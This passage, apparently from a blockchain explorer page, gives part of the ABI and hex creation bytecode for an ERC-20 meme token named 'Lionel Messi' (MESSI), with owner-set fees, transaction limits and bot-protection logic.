,"name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_to","type":"address"}],"name":"transferForeignTokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600e819055600f556014805462ffffff191660019081179091556017805460ff191690911790553480156200003a57600080fd5b506040518060400160405280600c81526020016b4c696f6e656c204d6573736960a01b815250604051806040016040528060058152602001644d4553534960d81b81525081600390816200008f9190620008c4565b5060046200009e8282620008c4565b5050506000620000b3620004bc60201b60201c565b600580546001600160a01b0319166001600160a01b0383169081179091556040519192509060009060008051602062004417833981519152908290a350600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051339291829163c45a0155916004808201926020929091908290030181865afa1580156200015a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000180919062000990565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f4919062000990565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000242573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000268919062000990565b600a80546001600160a01b0319166001600160a01b0392909216918217905562000294906001620004c0565b600a54620002ad906001600160a01b0316600162000523565b6b033b2e3c9fd0803ce80000006064620002c9826002620009d8565b620002d59190620009f8565b6006556064620002e7826002620009d8565b620002f39190620009f8565b600755606462000305826002620009d8565b620003119190620009f8565b60085561271062000324826002620009d8565b620003309190620009f8565b600b556005601e8190556000601f819055602082905560218190559062000358828262000a1b565b62000364919062000a1b565b62000370919062000a1b565b601d55600560198190556000601a819055600a601b819055601c82905590916200039c90839062000a1b565b620003a8919062000a1b565b620003b4919062000a1b565b601855600c80546001600160a01b031990811673778dd2657318a6bc7b448d68a28428c81300015717909155600d8054909116734298d7e7e29739a06dfa19cffcbc568d6f4e2d7c1790556200040c836001620004c0565b62000419306001620004c0565b600c5462000432906001600160a01b03166001620004c0565b6200044161dead6001620004c0565b6200044e8360016200058f565b6200045b3060016200058f565b6200046a61dead60016200058f565b600c5462000483906001600160a01b031660016200058f565b600d546200049c906001600160a01b031660016200058f565b620004a883826200063d565b620004b38362000722565b50505062000a31565b3390565b6001600160a01b038216600081815260276020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b0382166000908152602860205260409020805460ff1916821515179055620005538282620004c0565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6005546001600160a01b03163314620005de5760405162461bcd60e51b81526020600482018190526024820152600080516020620043f783398151915260448201526064015b60405180910390fd5b6001600160a01b038216600081815260266020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006955760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005d5565b8060026000828254620006a9919062000a1b565b90915550506001600160a01b03821660009081526020819052604081208054839290620006d890849062000a1b565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b031633146200076d5760405162461bcd60e51b81526020600482018190526024820152600080516020620043f78339815191526044820152606401620005d5565b6001600160a01b038116620007d45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401620005d5565b6005546040516001600160a01b038084169216906000805160206200441783398151915290600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200084a57607f821691505b6020821081036200086b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620008bf57600081815260208120601f850160051c810160208610156200089a5750805b601f850160051c820191505b81811015620008bb57828155600101620008a6565b5050505b505050565b81516001600160401b03811115620008e057620008e06200081f565b620008f881620008f1845462000835565b8462000871565b602080601f831160018114620009305760008415620009175750858301515b600019600386901b1c1916600185901b178555620008bb565b600085815260208120601f198616915b82811015620009615788860151825594840194600190910190840162000940565b5085821015620009805787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620009a357600080fd5b81516001600160a01b0381168114620009bb57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620009f257620009f2620009c2565b92915050565b60008262000a1657634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620009f257620009f2620009c2565b6139b68062000a416000396000f3fe6080604052600436106103fd5760003560e01c80638da5cb5b11610213578063c024666811610123578063e2f45605116100ab578063e884f2601161007a578063e884f26014610b85578063f11745df14610b9a578063f11a24d314610bba578063f2fde38b14610bd0578063f637434214610bf057600080fd5b8063e2f4560514610b23578063e611bfdb14610b39578063e71dc3f514610b4f578063e7ad9fcd14610b6557600080fd5b8063d257b34f116100f2578063d257b34f14610a72578063d85ba06314610a92578063dc3f0d0f14610aa8578063dd62ed3e14610ac8578063e086e5ec14610b0e57600080fd5b8063c0246668146109f8578063c18bc19514610a18578063c5b45ec014610a38578063c876d0b914610a5857600080fd5b8063a457c2d7116101a6578063abe43b1b11610175578063abe43b1b1461094e578063adb873bd14610965578063b62496f51461097b578063bbc0c742146109ab578063bf163e80146109cb57600080fd5b8063a457c2d7146108d8578063a5ece941146108f8578063a9059cbb14610918578063aa4bde281461093857600080fd5b80639a7a23d6116101e25780639a7a23d6146108765780639c3b4fdc146108965780639fccce32146108ac578063a0d82dc5146108c257600080fd5b80638da5cb5b14610817578063921369131461083557806395d89b411461084b57806396b816091461086057600080fd5b806359d24b8e1161030e57806370a08231116102a15780637bce5a04116102705780637bce5a0414610786578063808a54571461079c578063882c3d98146107bc57806388e765ff146107ec5780638a8c523c1461080257600080fd5b806370a082311461071c578063715018a61461073c578063751039fc146107515780637571336a1461076657600080fd5b80636a486a8e116102dd5780636a486a8e146106b15780636ad6a9fb146106c75780636b0a894c146106e75780636ddd1713146106fd57600080fd5b806359d24b8e1461062b57806361fd1cfa1461065b5780636220a12f1461067b57806366d602ae1461069b57600080fd5b806323b872dd116103915780633610724e116103605780633610724e1461059157806339509351146105b15780633ad10ef6146105d15780634a62bb65146105f15780634b84e0e31461060b57600080fd5b806323b872dd146105135780632be32b61146105335780632e6ed7ef14610555578063313ce5671461057557600080fd5b806318160ddd116103cd57806318160ddd146104bc5780631a8145bb146104d15780631d777856146104e75780631f3fed8f146104fd57600080fd5b8062ff2d441461040957806306fdde03146104325780630758d92414610454578063095ea7b31461048c57600080fd5b3661040457005b600080fd5b34801561041557600080fd5b5061041f60135481565b6040519081526020015b60405180910390f35b34801561043e57600080fd5b50610447610c06565b604051610429919061348e565b34801561046057600080fd5b50600954610474906001600160a01b031681565b6040516001600160a01b039091168152602001610429565b34801561049857600080fd5b506104ac6104a73660046134f4565b610c98565b6040519015158152602001610429565b3480156104c857600080fd5b5060025461041f565b3480156104dd57600080fd5b5061041f60235481565b3480156104f357600080fd5b5061041f60255481565b34801561050957600080fd5b5061041f60225481565b34801561051f57600080fd5b506104ac61052e366004613520565b610caf565b34801561053f57600080fd5b5061055361054e366004613561565b610d60565b005b34801561056157600080fd5b5061055361057036600461357a565b610e6d565b34801561058157600080fd5b5060405160128152602001610429565b34801561059d57600080fd5b506105536105ac366004613561565b610f13565b3480156105bd57600080fd5b506104ac6105cc3660046134f4565b6110c9565b3480156105dd57600080fd5b50600d54610474906001600160a01b031681565b3480156105fd57600080fd5b506014546104ac9060ff1681565b34801561061757600080fd5b506105536106263660046135ac565b611105565b34801561063757600080fd5b506104ac6106463660046135ac565b60106020526000908152604090205460ff1681565b34801561066757600080fd5b506104ac6106763660046135c9565b6111a7565b34801561068757600080fd5b506105536106963660046135ac565b6113b0565b3480156106a757600080fd5b5061041f60075481565b3480156106bd57600080fd5b5061041f60185481565b3480156106d357600080fd5b506105536106e2366004613602565b611460565b3480156106f357600080fd5b5061041f60115481565b34801561070957600080fd5b506014546104ac90610100900460ff1681565b34801561072857600080fd5b5061041f6107373660046135ac565b611553565b34801561074857600080fd5b5061055361156e565b34801561075d57600080fd5b506105536115e2565b34801561077257600080fd5b50610553610781366004613645565b611649565b34801561079257600080fd5b5061041f601e5481565b3480156107a857600080fd5b50600a54610474906001600160a01b031681565b3480156107c857600080fd5b506104ac6107d73660046135ac565b60276020526000908152604090205460ff1681565b3480156107f857600080fd5b5061041f60065481565b34801561080e57600080fd5b50610553611711565b34801561082357600080fd5b506005546001600160a01b0316610474565b34801561084157600080fd5b5061041f60195481565b34801561085757600080fd5b506104476117d4565b34801561086c57600080fd5b5061041f600e5481565b34801561088257600080fd5b50610553610891366004613645565b6117e3565b3480156108a257600080fd5b5061041f60205481565b3480156108b857600080fd5b5061041f60245481565b3480156108ce57600080fd5b5061041f601b5481565b3480156108e457600080fd5b506104ac6108f33660046134f4565b6118d7565b34801561090457600080fd5b50600c54610474906001600160a01b031681565b34801561092457600080fd5b506104ac6109333660046134f4565b611970565b34801561094457600080fd5b5061041f60085481565b34801561095a57600080fd5b50600f5443106104ac565b34801561097157600080fd5b5061041f601c5481565b34801561098757600080fd5b506104ac6109963660046135ac565b60286020526000908152604090205460ff1681565b3480156109b757600080fd5b506014546104ac9062010000900460ff1681565b3480156109d757600080fd5b5061041f6109e63660046135ac565b60166020526000908152604090205481565b348015610a0457600080fd5b50610553610a13366004613645565b61197d565b348015610a2457600080fd5b50610553610a33366004613561565b611a06565b348015610a4457600080fd5b50610553610a533660046135ac565b611b0f565b348015610a6457600080fd5b506017546104ac9060ff1681565b348015610a7e57600080fd5b50610553610a8d366004613561565b611b5a565b348015610a9e57600080fd5b5061041f601d5481565b348015610ab457600080fd5b50610553610ac3366004613561565b611ca5565b348015610ad457600080fd5b5061041f610ae33660046135c9565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b1a57600080fd5b50610553611dac565b348015610b2f57600080fd5b5061041f600b5481565b348015610b4557600080fd5b5061041f600f5481565b348015610b5b57600080fd5b5061041f60215481565b348015610b7157600080fd5b50610553610b8036600461357a565b611e18565b348015610b9157600080fd5b50610553611eb8565b348015610ba657600080fd5b50601254610474906001600160a01b031681565b348015610bc657600080fd5b5061041f601f5481565b348015610bdc57600080fd5b50610553610beb3660046135ac565b611eee565b348015610bfc57600080fd5b5061041f601a5481565b606060038054610c1590613673565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4190613673565b8015610c8e5780601f10610c6357610100808354040283529160200191610c8e565b820191906000526020600020905b815481529060010190602001808311610c7157829003601f168201915b5050505050905090565b6000610ca5338484611fd9565b5060015b92915050565b6000610cbc8484846120fe565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610d465760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b610d538533858403611fd9565b60019150505b9392505050565b6005546001600160a01b03163314610d8a5760405162461bcd60e51b8152600401610d3d906136ad565b670de0b6b3a76400006103e8610d9f60025490565b610daa9060026136f8565b610db4919061370f565b610dbe919061370f565b811015610e1f5760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610d3d565b610e3181670de0b6b3a76400006136f8565b60068190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e975760405162461bcd60e51b8152600401610d3d906136ad565b601e849055601f839055602082905560218190558082610eb78587613731565b610ec19190613731565b610ecb9190613731565b601d81905560021015610f0d5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610d3d565b50505050565b6005546001600160a01b03163314610f3d5760405162461bcd60e51b8152600401610d3d906136ad565b6040805160028082526060820183526000926020830190803683375050600954604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610fa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fcb9190613744565b81600081518110610fde57610fde613761565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061101257611012613761565b6001600160a01b03928316602091820292909201015260095460405163b6f9de9560e01b815291169063b6f9de9590849061105a90600090869061dead9042906004016137bb565b6000604051808303818588803b15801561107357600080fd5b505af1158015611087573d6000803e3d6000fd5b50505050507f2eeb53fcbf689effeb8e8293a75bc46f2d0a6814e3ce3e93d0d4f936c3dc17ca826040516110bd91815260200190565b60405180910390a15050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610ca5918590611100908690613731565b611fd9565b6005546001600160a01b0316331461112f5760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b0381166111855760405162461bcd60e51b815260206004820152601f60248201527f5f6465764164647265737320616464726573732063616e6e6f742062652030006044820152606401610d3d565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546000906001600160a01b031633146111d45760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b03831661122a5760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610d3d565b306001600160a01b038416036112825760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e73000000006044820152606401610d3d565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa1580156112c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ed91906137f0565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303816000875af1158015611340573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113649190613809565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b6005546001600160a01b031633146113da5760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b03811661143e5760405162461bcd60e51b815260206004820152602560248201527f5f6d61726b6574696e674164647265737320616464726573732063616e6e6f74604482015264020626520360dc1b6064820152608401610d3d565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461146c30611553565b10156114e2576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e6064820152608401610d3d565b6114ed838383612c68565b1561154e57600a805460ff60a01b1916600160a01b17905561150d612d71565b600a805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a15b505050565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b031633146115985760405162461bcd60e51b8152600401610d3d906136ad565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b0316331461160c5760405162461bcd60e51b8152600401610d3d906136ad565b6002546006556002546007556002546008556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146116735760405162461bcd60e51b8152600401610d3d906136ad565b806116e657600a546001600160a01b03908116908316036116e65760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610d3d565b6001600160a01b03919091166000908152602760205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461173b5760405162461bcd60e51b8152600401610d3d906136ad565b60145462010000900460ff16156117945760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610d3d565b6014805462ffff0019166201010017905543600e556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b606060048054610c1590613673565b6005546001600160a01b0316331461180d5760405162461bcd60e51b8152600401610d3d906136ad565b600a546001600160a01b03908116908316036118915760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610d3d565b61189b8282612f79565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156119595760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610d3d565b6119663385858403611fd9565b5060019392505050565b6000610ca53384846120fe565b6005546001600160a01b031633146119a75760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b038216600081815260266020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b03163314611a305760405162461bcd60e51b8152600401610d3d906136ad565b670de0b6b3a76400006103e8611a4560025490565b611a509060036136f8565b611a5a919061370f565b611a64919061370f565b811015611ac85760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610d3d565b611ada81670de0b6b3a76400006136f8565b60088190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e62565b6005546001600160a01b03163314611b395760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6005546001600160a01b03163314611b845760405162461bcd60e51b8152600401610d3d906136ad565b620186a0611b9160025490565b611b9c9060016136f8565b611ba6919061370f565b811015611c135760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610d3d565b6103e8611c1f60025490565b611c2a9060016136f8565b611c34919061370f565b811115611ca05760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610d3d565b600b55565b6005546001600160a01b03163314611ccf5760405162461bcd60e51b8152600401610d3d906136ad565b670de0b6b3a76400006103e8611ce460025490565b611cef9060026136f8565b611cf9919061370f565b611d03919061370f565b811015611d655760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610d3d565b611d7781670de0b6b3a76400006136f8565b60078190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e62565b6005546001600160a01b03163314611dd65760405162461bcd60e51b8152600401610d3d906136ad565b604051600090339047908381818185875af1925050503d8060008114610f0d576040519150601f19603f3d011682016040523d82523d6000602084013e610f0d565b6005546001600160a01b03163314611e425760405162461bcd60e51b8152600401610d3d906136ad565b6019849055601a839055601b829055601c8190558082611e628587613731565b611e6c9190613731565b611e769190613731565b601881905560041015610f0d5760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610d3d565b6005546001600160a01b03163314611ee25760405162461bcd60e51b8152600401610d3d906136ad565b6017805460ff19169055565b6005546001600160a01b03163314611f185760405162461bcd60e51b8152600401610d3d906136ad565b6001600160a01b038116611f7d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d3d565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661203b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610d3d565b6001600160a01b03821661209c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610d3d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166121245760405162461bcd60e51b8152600401610d3d90613826565b6001600160a01b03821661214a5760405162461bcd60e51b8152600401610d3d9061386b565b6000811161219a5760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610d3d565b60145462010000900460ff1661222e576001600160a01b03831660009081526026602052604090205460ff16806121e957506001600160a01b03821660009081526026602052604090205460ff165b61222e5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610d3d565b600f54156122d8576001600160a01b03831660009081526010602052604090205460ff16158061226b57506005546001600160a01b038381169116145b8061228057506001600160a01b03821661dead145b6122d85760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610d3d565b60145460ff16156126d3576005546001600160a01b0384811691161480159061230f57506005546001600160a01b03838116911614155b801561232357506001600160a01b03821615155b801561233a57506001600160a01b03821661dead14155b801561235f57506001600160a01b03831660009081526026602052604090205460ff16155b801561238457506001600160a01b03821660009081526026602052604090205460ff16155b156124c45760175460ff16156124c4576009546001600160a01b038381169116148015906123c05750600a546001600160a01b03838116911614155b15612453576123d06002436138ae565b3260009081526015602052604090205410801561240e57506123f36002436138ae565b6001600160a01b038316600090815260156020526040902054105b61242a5760405162461bcd60e51b8152600401610d3d906138c1565b3260009081526015602052604080822043908190556001600160a01b03851683529120556124c4565b600a54600160a01b900460ff1615801561248657506001600160a01b03831660009081526028602052604090205460ff16155b156124c4576013546001600160a01b038416600090815260166020526040902054116124c45760405162461bcd60e51b8152600401610d3d906138c1565b6001600160a01b03831660009081526028602052604090205460ff16801561250557506001600160a01b03821660009081526027602052604090205460ff16155b156125d65760065481111561256d5760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610d3d565b60085461257983611553565b6125839083613731565b11156125d15760405162461bcd60e51b815260206004820152601860248201527f43616e6e6f7420457863656564206d61782077616c6c657400000000000000006044820152606401610d3d565b6126d3565b6001600160a01b03821660009081526028602052604090205460ff16801561261757506001600160a01b03831660009081526027602052604090205460ff16155b15612681576007548111156125d15760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610d3d565b6001600160a01b03821660009081526027602052604090205460ff166126ad5760085461257983611553565b6001600160a01b03831660009081526027602052604090205460ff16156126d357426013555b60006126de30611553565b600b54909150811080159081906126fc5750601454610100900460ff165b80156127125750600a54600160a01b900460ff16155b801561273757506001600160a01b03851660009081526028602052604090205460ff16155b801561275c57506001600160a01b03851660009081526026602052604090205460ff16155b801561278157506001600160a01b03841660009081526026602052604090205460ff16155b156127af57600a805460ff60a01b1916600160a01b1790556127a1612d71565b600a805460ff60a01b191690555b6001600160a01b03851660009081526026602052604090205460019060ff16806127f157506001600160a01b03851660009081526026602052604090205460ff165b156127fa575060005b6001600160a01b03861660009081526028602052604090205460ff16801561283857506001600160a01b038516600090815260166020526040902054155b15612859576001600160a01b03851660009081526016602052604090204290555b60008115612c5457600f544310801561288a57506001600160a01b03871660009081526028602052604090205460ff165b80156128af57506001600160a01b03861660009081526028602052604090205460ff16155b80156128bd57506000601d54115b15612a3d576001600160a01b03861660009081526010602052604090205460ff1661295d576001600160a01b0386166000908152601060205260408120805460ff19166001908117909155601180549192909161291b908490613731565b90915550506040516001600160a01b03871681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b606461296a8660636136f8565b612974919061370f565b9050601d54601f548261298791906136f8565b612991919061370f565b602360008282546129a29190613731565b9091555050601d54601e546129b790836136f8565b6129c1919061370f565b602260008282546129d29190613731565b9091555050601d546020546129e790836136f8565b6129f1919061370f565b60246000828254612a029190613731565b9091555050601d54602154612a1790836136f8565b612a21919061370f565b60256000828254612a329190613731565b90915550612c369050565b6001600160a01b03861660009081526028602052604090205460ff168015612a6757506000601854115b15612b2957606460185486612a7c91906136f8565b612a86919061370f565b9050601854601a5482612a9991906136f8565b612aa3919061370f565b60236000828254612ab49190613731565b9091555050601854601954612ac990836136f8565b612ad3919061370f565b60226000828254612ae49190613731565b9091555050601854601b54612af990836136f8565b612b03919061370f565b60246000828254612b149190613731565b9091555050601854601c54612a1790836136f8565b6001600160a01b03871660009081526028602052604090205460ff168015612b5357506000601d54115b15612c36576064601d5486612b6891906136f8565b612b72919061370f565b9050601d54601f5482612b8591906136f8565b612b8f919061370f565b60236000828254612ba09190613731565b9091555050601d54601e54612bb590836136f8565b612bbf919061370f565b60226000828254612bd09190613731565b9091555050601d54602054612be590836136f8565b612bef919061370f565b60246000828254612c009190613731565b9091555050601d54602154612c1590836136f8565b612c1f919061370f565b60256000828254612c309190613731565b90915550505b8015612c4757612c47873083612fa7565b612c5181866138ae565b94505b612c5f878787612fa7565b50505050505050565b33600090815260276020526040812054819060ff16612d32576000602554118015612c9d5750602554612c9a30611553565b10155b15612cae57612cae336025546130fc565b5060006025819055600190612cc230611553565b90506000602454602254602354612cd99190613731565b612ce39190613731565b9050811580612cf0575080155b15612d015760009350505050610d59565b600b54612d0f9060076136f8565b821115612d2757600b54612d249060076136f8565b91505b829350505050610d59565b6000612d3d30611553565b1115612d665783600003612d58575060138290556000612d66565b612d6285856130fc565b5060005b6000612cc230611553565b6000602554118015612d8d5750602554612d8a30611553565b10155b15612d9e57612d9e306025546130fc565b60006025819055612dae30611553565b90506000602454602254602354612dc59190613731565b612dcf9190613731565b9050811580612ddc575080155b15612de5575050565b600b54612df39060056136f8565b821115612e0b57600b54612e089060056136f8565b91505b600060028260235485612e1e91906136f8565b612e28919061370f565b612e32919061370f565b9050612e46612e4182856138ae565b613226565b60235447908190600090612e5c9060029061370f565b612e6690866138ae565b602254612e7390856136f8565b612e7d919061370f565b905060006002602354612e90919061370f565b612e9a90876138ae565b602454612ea790866136f8565b612eb1919061370f565b9050612ebd8183613731565b612ec790846138ae565b600060238190556022819055602481905560255592508415801590612eec5750600083115b15612efb57612efb8584613380565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612f35573d6000803e3d6000fd5b50600c546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612f6f573d6000803e3d6000fd5b5050505050505050565b6001600160a01b0382166000908152602860205260409020805460ff191682151517905561189b8282613432565b6001600160a01b038316612fcd5760405162461bcd60e51b8152600401610d3d90613826565b6001600160a01b038216612ff35760405162461bcd60e51b8152600401610d3d9061386b565b6001600160a01b0383166000908152602081905260409020548181101561306b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610d3d565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906130a2908490613731565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516130ee91815260200190565b60405180910390a350505050565b6001600160a01b03821661315c5760405162461bcd60e51b815260206004820152602160248201527f455243